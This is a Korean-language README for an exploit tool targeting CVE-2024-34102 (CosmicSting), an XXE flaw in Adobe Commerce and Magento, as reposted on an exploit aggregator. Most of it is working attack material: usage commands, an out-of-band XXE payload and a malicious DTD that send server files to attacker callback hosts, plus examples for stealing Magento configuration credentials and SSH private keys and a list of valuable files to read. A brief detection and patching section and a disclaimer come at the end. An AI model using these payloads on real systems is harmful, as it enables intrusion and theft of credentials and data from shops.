Sploitus

Exploit for CVE-2024-34102

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN340 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-NMMORETTE-CVE-2024-34102
# CVE-2024-34102 - CosmicSting XXE μ΅μŠ€ν”Œλ‘œμž‡

![Python Version](https://img.shields.io/badge/python-3.8+-blue.svg) ![CVE](https://img.shields.io/badge/CVE-2024--34102-red.svg)

CVE-2024-34102(CosmicSting) - Adobe Commerce 및 Magento의 XML External Entity(XXE) 취약점에 λŒ€ν•œ μ΅μŠ€ν”Œλ‘œμž‡μž…λ‹ˆλ‹€.

## πŸ“‹ 취약점 정보

**CVE-2024-34102** λŠ” λ‹€μŒμ— 영ν–₯을 μ£ΌλŠ” 치λͺ…적인 XXE(XML External Entity) μ·¨μ•½μ μž…λ‹ˆλ‹€:

  * Adobe Commerce 버전 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 및 이전 버전
  * Magento Open Source(동일 버전)



이 μ·¨μ•½μ μœΌλ‘œ μΈμ¦λ˜μ§€ μ•Šμ€ κ³΅κ²©μžλŠ” λ‹€μŒμ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€:

  * πŸ“„ μ„œλ²„μ—μ„œ μž„μ˜μ˜ 파일 읽기
  * πŸ” 자격 증λͺ… 및 λ―Όκ°ν•œ ꡬ성 정보 유좜
  * πŸ’Ύ λ°μ΄ν„°λ² μ΄μŠ€ 정보 μ ‘κ·Ό
  * 🚨 μž„μ˜ μ½”λ“œ μ‹€ν–‰(일뢀 μ‹œλ‚˜λ¦¬μ˜€μ—μ„œ)



**CVSS 점수:** 9.8(치λͺ…적)

## 🎯 ν¬λ ˆλ”§

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ λ‹€μŒ μ‚¬λžŒμ˜ 원본 μž‘μ—…μ„ 기반으둜 ν•©λ‹ˆλ‹€:

  * **@Chocapikk** \- 원본 CVE-2024-34102



### 이 λ²„μ „μ˜ κ°œμ„  사항:

  * βœ… μ»€μŠ€ν…€ 동적 DTD μ„œλ²„(fars.ee μ˜μ‘΄μ„± 제거)
  * βœ… μžλ™ 디코딩을 μ§€μ›ν•˜λŠ” 콜백 μ„œλ²„
  * βœ… ν•„μˆ˜ νŒŒλΌλ―Έν„° 검증
  * βœ… μ™ΈλΆ€ μ„œλΉ„μŠ€ μž¬μ‹œλ„ 둜직
  * βœ… 더 μžμ„Έν•œ 였λ₯˜ λ©”μ‹œμ§€
  * βœ… 콜백 HTTPS 지원
  * βœ… Python 3.8+ μ™„μ „ ν˜Έν™˜



## πŸ› οΈ μš”κ΅¬ 사항

  * Python 3.8 이상
  * DTD νŒŒμΌμ„ ν˜ΈμŠ€νŒ…ν•  μ„œλ²„μ— λŒ€ν•œ μ ‘κ·Ό κΆŒν•œ(VPS, Burp Collaborator λ“±)
  * 콜백 μ„œλΉ„μŠ€(Burp Collaborator, Oastify λ˜λŠ” 자체 μ„œλ²„)



## πŸ“¦ μ„€μΉ˜

root@kitploit:~
    
    
    # Clone the repository
    git clone https://github.com/YOUR_USERNAME/CVE-2024-34102.git
    cd CVE-2024-34102
    
    # Install dependencies
    pip install -r requirements.txt
    

## πŸš€ μ‚¬μš©λ²•

### 방법 1: fars.ee μ‚¬μš©(μžλ™)

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://target.com \
      -f /etc/passwd \
      -c your-callback.oastify.com
    

### 방법 2: 자체 DTD μ„œλ²„ μ‚¬μš©

**터미널 1 - DTD μ„œλ²„:**

root@kitploit:~
    
    
    sudo python3 server_dtd.py
    

**터미널 2 - μ΅μŠ€ν”Œλ‘œμž‡:**

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://target.com \
      -f /etc/passwd \
      -c your-callback.oastify.com \
      --dtd-server YOUR-IP:8000
    

### 방법 3: 자체 콜백 μ„œλ²„ μ‚¬μš©

**터미널 1 - DTD μ„œλ²„:**

root@kitploit:~
    
    
    sudo python3 server_dtd.py
    

**터미널 2 - 콜백 μ„œλ²„(μžλ™ λ””μ½”λ”©):**

root@kitploit:~
    
    
    sudo python3 callback_server.py
    

**터미널 3 - μ΅μŠ€ν”Œλ‘œμž‡:**

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://target.com \
      -f /etc/passwd \
      -c YOUR-CALLBACK-IP \
      --dtd-server YOUR-DTD-IP:8000
    

## πŸ“ νŒŒλΌλ―Έν„°

### ν•„μˆ˜:

  * `-u, --url` \- λŒ€μƒ URL(κΈ°λ³Έ 도메인)
  * `-f, --file` \- μ„œλ²„μ—μ„œ 읽을 파일(예: /etc/passwd)
  * `-c, --callback` \- 콜백 μ„œλ²„(IP/도메인)



### 선택:

  * `--dtd-server` \- DTD νŒŒμΌμ„ ν˜ΈμŠ€νŒ…ν•  μ»€μŠ€ν…€ μ„œλ²„
  * `--https` \- μ½œλ°±μ— HTTPS μ‚¬μš©(κΈ°λ³Έκ°’: HTTP)



## 🎬 예제

### /etc/passwd 읽기

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://vulnerable-site.com \
      -f /etc/passwd \
      -c abc123.oastify.com \
      --dtd-server 192.168.1.100:8000
    

### Magento ꡬ성 읽기

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://vulnerable-site.com \
      -f /var/www/html/app/etc/env.php \
      -c abc123.oastify.com \
      --dtd-server 192.168.1.100:8000
    

### SSH ν‚€ 읽기

root@kitploit:~
    
    
    python3 exploit.py \
      -u https://vulnerable-site.com \
      -f /home/ubuntu/.ssh/id_rsa \
      -c abc123.burpcollaborator.net \
      --dtd-server 192.168.1.100:8000 \
      --https
    

## πŸ” μž‘λ™ 방식

### 1\. **Out-of-Band XXE**

이 μ΅μŠ€ν”Œλ‘œμž‡μ€ 데이터 μœ μΆœμ„ μœ„ν•΄ Out-of-Band XXE 기법을 μ‚¬μš©ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    <!-- Payload sent to target -->
    <!DOCTYPE r [
      <!ENTITY % sp SYSTEM "http://your-server/exploit.dtd">
      %sp;
      %param1;
    ]>
    <r>&exfil;</r>
    

### 2\. **μ™ΈλΆ€ DTD**

λŒ€μƒ μ„œλ²„κ°€ μ•…μ„± DTDλ₯Ό λ‹€μš΄λ‘œλ“œν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://callback/?exploited=%data;'>">
    

### 3\. **데이터 유좜**

μ„œλ²„κ°€ XML을 μ²˜λ¦¬ν•˜κ³  νŒŒμΌμ„ 읽은 λ‹€μŒ base64둜 μΈμ½”λ”©ν•˜μ—¬ 콜백으둜 μ „μ†‘ν•©λ‹ˆλ‹€:

root@kitploit:~
    
    
    GET /?exploited=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...
    

### 4\. **λ””μ½”λ”©**

root@kitploit:~
    
    
    echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo..." | base64 -d
    

## πŸ“Š 좜λ ₯ μ˜ˆμ‹œ

root@kitploit:~
    
    
    [*] CosmicSting XXE Exploit (CVE-2024-34102)
    [*] Target: https://vulnerable-site.com
    [+] Callback Server: abc123.oastify.com
    [+] Using custom DTD server: 192.168.1.100:8000
    [+] DTD URL: http://192.168.1.100:8000/12ec6594.dtd?callback=abc123.oastify.com&file=/etc/passwd&protocol=http
    
    DTD will be dynamically generated with:
    [*]   Callback: http://abc123.oastify.com
    [*]   File: /etc/passwd
    
    DTD server is running? Ready to continue? [y/N]: y
    [+] Target file: /etc/passwd
    [+] Callback URL: http://abc123.oastify.com/?exploited=...
    [*] Sending XXE payload to: https://vulnerable-site.com/rest/V1/guest-carts/1/estimate-shipping-methods
    [*] Response status: 500
    [!] Status 500 - This is normal! XXE may have triggered.
    [!] Check your callback server for incoming requests.
    [*] Waiting for callback (5 seconds)...
    
    === CHECK YOUR CALLBACK SERVER ===
    [!] Monitor your callback service for incoming HTTP requests
    [!] Expected request: http://abc123.oastify.com/?exploited=<base64_data>
    
    To decode the exfiltrated data:
    [*]   echo 'BASE64_STRING' | base64 -d
    
    [!] Check your Burp Collaborator or Oastify dashboard now!
    

## πŸ›‘οΈ 탐지 및 λŒ€μ‘

### λ°©μ–΄μžλ₯Ό μœ„ν•œ:

**탐지:**

  * `/rest/V1/guest-carts/*/estimate-shipping-methods` μ—”λ“œν¬μΈνŠΈμ— λŒ€ν•œ HTTP μš”μ²­ λͺ¨λ‹ˆν„°λ§
  * μ™ΈλΆ€ μ—”ν‹°ν‹°(`<!ENTITY`)κ°€ ν¬ν•¨λœ XML νŽ˜μ΄λ‘œλ“œμ— λŒ€ν•œ κ²½κ³ 
  * μ˜μ‹¬μŠ€λŸ¬μš΄ λ„λ©”μΈμœΌλ‘œμ˜ μ™ΈλΆ€ μ—°κ²° 탐지



**λŒ€μ‘:**

  * 패치된 λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈ: 
    * Adobe Commerce 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, 2.4.4-p9
  * XML νŒŒμ„œμ—μ„œ μ™ΈλΆ€ μ—”ν‹°ν‹° 처리 λΉ„ν™œμ„±ν™”
  * anti-XXE κ·œμΉ™μ΄ ν¬ν•¨λœ WAF κ΅¬ν˜„



### νŽœν…ŒμŠ€ν„°λ₯Ό μœ„ν•œ:

**ν…ŒμŠ€νŠΈν•  κ°€μΉ˜κ°€ μžˆλŠ” 파일:**

root@kitploit:~
    
    
    /etc/passwd
    /var/www/html/app/etc/env.php
    /var/www/html/app/etc/local.xml
    /home/USER/.ssh/id_rsa
    /var/log/apache2/access.log
    /proc/self/environ
    

## βš–οΈ 법적 고지

root@kitploit:~
    
    
    This exploit is provided for educational and security research purposes only.
    
    Using this code to test systems without explicit authorization is ILLEGAL.
    
    You are SOLELY responsible for your actions. Use only on:
    βœ… Your own test environments
    βœ… Authorized bug bounty programs
    βœ… Contracted penetration tests
    
    DO NOT use on:
    ❌ Systems without authorization
    ❌ Production environments without permission
    ❌ Any malicious activity
    
    The author is not responsible for misuse of this code.
    

## πŸ“š μ°Έκ³  자료

  * Adobe Security Bulletin APSB24-40
  * CVE-2024-34102 상세 정보
  * OWASP XXE 예방
  * Chocapikk의 원본 μ΅μŠ€ν”Œλ‘œμž‡



* * *

**⭐ 이 ν”„λ‘œμ νŠΈκ°€ μœ μš©ν–ˆλ‹€λ©΄ μŠ€νƒ€λ₯Ό λ‚¨κ²¨μ£Όμ„Έμš”!**